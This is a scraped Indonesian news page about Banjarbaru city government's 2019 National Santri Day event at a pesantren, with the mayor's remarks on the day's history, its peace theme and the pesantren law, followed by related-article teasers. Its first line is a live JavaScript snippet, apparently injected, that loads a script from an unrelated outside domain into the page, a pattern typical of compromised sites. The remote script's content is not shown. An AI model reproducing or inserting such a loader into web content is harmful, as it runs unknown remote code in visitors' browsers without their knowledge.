(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Peringatan Hari Santri Nasional tahun 2019 digelar Pemko Banjarbaru di Pondok Pesantren (Ponpes) Darul Ilmi, Kecamatan Liang Anggang. Dalam kegiatan ini, selain memperingati Hari Santri Nasional, pemerintah juga sekaligus bertatap muka dan bersilaturahmi secara langsung dengan para santri di Ponpes.
Walikota Banjarbaru H Nadjmi Adhani dalam sambutannya mengatakan suatu kebanggaan bisa hadir dalam suasana memperingati hari santri. Dirinya mengatakan Presiden Joko Widodo melalui keputusan presiden nomor 22 tahun 2015 telah menetapkan tanggal 22 Oktober sebagai hari santri nasional.
“Penetapan tanggal 22 Oktober merujuk pada tercetusnya ‘resolusi jihad’ yang berisi fatwa kewajiban berjihad demi mempertahankan kemerdekaan Indonesia. Resolusi jihad ini kemudian melahirkan peristiwa heroik tanggal 10 November 1945 yang kita diperingati sebagai hari Pahlawan,” katanya.
Sejak hari santri ditetapkan pada tahun 2015, pemerintah selalu menyelenggarakan peringatan setiap tahunnya dengan tema yang berbeda dan meneruskan tema tahun 2018, peringatan hari santri 2019 mengusung tema “Santri Indonesia untuk perdamaian dunia”.
Isu perdamaian diangkat berdasar fakta bahwa sejatinya pesantren adalah laboratorium perdamaian, sebagai laboratorium perdamaian, pesantren merupakan tempat menyemai ajaran islam rahmatanlilalamin, islam ramah dan moderat dalam beragama.
Sikap moderat dalam beragama sangat penting bagi masyarakat yang plural dan multikultural. dengan cara seperti inilah keragaman dapat disikapi dengan bijak serta toleransi dan keadilan dapat terwujud. semangat ajaran inilah yang dapat menginspirasi santri untuk berkontribusi merawat perdamaian dunia.
Walikota Banjarbari mengatakan dengan Undang-undang tentang pesantren ini memastikan bahwa pesantren tidak hanya mengembangkan fungsi pendidikan, tetapi juga mengembangkan fungsi dakwah dan fungsi pengabdian masyarakat. Dengan undang-undang ini negara hadir untuk memberikan rekognisi, afirmasi, dan fasilitasi kepada pesantren dengan tetap menjaga kekhasan dan kemandiriannya. “Dengan undang-undang ini pula tamatan pesantren memiliki hak yang sama dengan tamatan lembaga lainnya,” katanya.
Kegiatan ini juga menampilkan pertunjukan atraksi dari perwakilan santri santri dari seluruh pesantren yang ada di Kota Banjarbaru khususnya. (Rico)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.